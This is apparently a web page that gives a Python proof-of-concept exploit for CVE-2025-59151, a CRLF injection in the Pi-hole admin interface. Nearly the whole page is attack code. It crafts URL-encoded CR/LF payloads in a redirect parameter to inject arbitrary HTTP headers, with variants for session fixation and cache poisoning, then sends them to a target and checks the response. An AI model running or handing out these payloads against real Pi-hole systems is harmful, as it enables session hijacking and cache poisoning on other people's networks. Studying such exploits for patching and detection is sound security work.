CVE-2025-59151: Pi-hole Admin Interface CRLF注入漏洞

import requests import urllib.parse # CVE-2025-59151 CRLF Injection PoC # Target: Pi-hole Admin Interface < 6.3 # Vulnerability: CRLF injection in .lp file redirect def exploit_crlf_injection(target_url): """ Exploit CRLF injection vulnerability in Pi-hole Admin Interface Inject arbitrary HTTP headers via %0d%0a (CRLF) encoding """ # Malicious payload to inject custom HTTP header # %0d = CR (Carriage Return) # %0a = LF (Line Feed) injected_header = "X-Injected-Header: malicious" payload = f"/file.lp?redirect=%0d%0a{injected_header}%0d%0a" # Alternative payload for session fixation session_fixation_payload = "/file.lp?redirect=%0d%0aSet-Cookie:session=ATTACKER_SESSION" # Alternative payload for cache poisoning cache_poison_payload = "/file.lp?redirect=%0d%0aX-Cache: HIT" try: # Send exploit request exploit_url = target_url + payload response = requests.get(exploit_url, timeout=10) # Check if injection was successful if "X-Injected-Header" in str(response.headers) or \ "Set-Cookie" in str(response.headers) or \ response.status_code in [301, 302, 303]: print(f"[+] Exploit sent to {exploit_url}") print(f"[+] Response headers: {dict(response.headers)}") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://target-pi-hole.local/admin" exploit_crlf_injection(target)